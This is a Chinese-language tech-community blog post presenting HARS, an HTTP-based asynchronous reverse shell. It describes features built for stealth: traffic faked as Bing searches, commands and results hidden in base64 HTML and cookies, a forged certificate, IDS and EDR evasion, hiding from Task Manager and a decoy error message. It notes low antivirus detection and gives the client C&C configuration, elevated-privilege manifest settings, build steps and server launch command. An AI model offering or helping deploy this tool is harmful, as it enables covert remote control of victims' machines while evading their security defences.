前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用 HTTP 协议的异步反向 shell

使用 HTTP 协议的异步反向 shell

原创
作者头像
Khan安全团队
发布2021-12-27 11:33:09
8370
发布2021-12-27 11:33:09
举报
文章被收录于专栏:Khan安全团队Khan安全团队

今天,有很多方法可以创建反向 shell,以便能够通过防火墙远程控制机器。事实上,传出连接并不总是被过滤掉。

然而,安全软件和硬件(IPS、IDS、代理、AV、EDR...)越来越强大,可以检测到这些攻击。大多数情况下,与反向 shell 的连接是通过 L4 TCP 隧道建立的。

我认为保持不被发现的最好方法是让它看起来像合法的流量。HTTP 协议(​​第 7 层)是标准用户使用最多的协议。此外,它几乎从不过滤,以免阻止对网站的访问。

这个POC的特殊性在于通信是完全异步的,并且只使用GET请求。

怎么运行的 ?

  1. 客户端应用程序在目标机器上执行。
  2. 客户端发起与服务器的连接。
  3. 服务器接受连接。

然后: - 客户端查询服务器直到它得到指令。 - 攻击者向服务器提供指令。 - 当一个命令被定义时,客户端执行它并返回结果。

依此类推,直到攻击者决定结束会话。

特征

今天,作为一个 poc,实现了以下功能:

  1. 在 bing.com 上显示为搜索的虚假 HTTP 流量。
  2. 命令在 HTML 响应中采用 base64 编码。
  3. 命令的结果由客户端以 base64 编码为 cookie。
  4. [可选] SSL 支持;默认情况下,它是一个伪造的 bing.com 证书。
  5. 每次客户端调用之间的随机延迟,以避免触发 IDS。
  6. 随机模板用于来自服务器的每个响应。
  7. 重复使用相同的 powershell 进程以避免触发 EDR。
  8. 支持所有 Cmd 和 Powershell 命令。
  9. [可选] 客户端可以在启动时显示假错误消息。
  10. 客户端对任务管理器隐藏。
  11. 【可选】客户端可以管理员身份运行。
AV检测

69 款产品中只有 3 款能够在不应用任何规避或混淆技术的情况下将客户端检测为恶意客户端。

配置

客户 : C Sharp

  1. 在 Visual Studio 中打开HARS.sln

配置文件

该文件包含参数;分配你想要的值:

代码语言:javascript
复制
class Config
    {
        /* Behavior */
        // Display a fake error msg at startup
        public static bool DisplayErrorMsg = true;
        // Title of fake error msg
        public static string ErrorMsgTitle = "This application could not be started.";
        // Description of fake error msg
        public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
        // Min delay between the client calls
        public static int MinDelay = 2;
        // Max delay between the client calls
        public static int MaxDelay = 5;
        // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
        public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
        /* Listener */
        // Hostname/IP of C&C server
        public static string Server = "https://127.0.0.1";
        // Listening port of C&C server
        public static string Port = "443";
        // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
        public static bool AllowInsecureCertificate = true;
    }

HARS.manifest

将此行更改为默认运行具有特定权限的客户端:

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

<requestedExecutionLevel level="asInvoker" uiAccess="false" /><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /><requestedExecutionLevel level="highestAvailable" uiAccess="false" />

项目属性

您可以在此处自定义文件的程序集信息和图标。

注意:目标 .NET 框架版本设置为 4.6,该版本在 Windows 10 中默认可用。 对于 Windows 7,如果您不想安装缺少的功能,请选择 .NET 3.5。

建造

从 Visual Studio 构建项目。客户端应该在Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release文件夹中生成。

服务器:PythonHARS_Server.py 位置:Http Asynchronous Reverse Shell\HARS_Server\www

如果需要,只需在配置部分更改证书上的端口或位置。

代码语言:javascript
复制
# Config
PORT = 443
CERT_FILE = '../server.pem'

python HARS_Server.py

笔记

-HTTP 日志位于Http Asynchronous Reverse Shell\HARS_Server\logs\ -您可以在其中添加您自己的模板(任何 html 页面)Http Asynchronous Reverse Shell\HARS_Server\templates

https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 怎么运行的 ?
  • 特征
    • AV检测
    • 配置
      • 建造
          • 笔记
          相关产品与服务
          移动解析 HTTPDNS
          移动解析 HTTPDNS 基于 HTTP 协议向腾讯云的 DNS 服务器发送域名解析请求,替代了基于 DNS 协议向运营商 Local DNS 发起解析请求的传统方式,可以避免 Local DNS 造成的域名劫持和跨网访问问题,解决移动互联网服务中域名解析异常带来的困扰。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档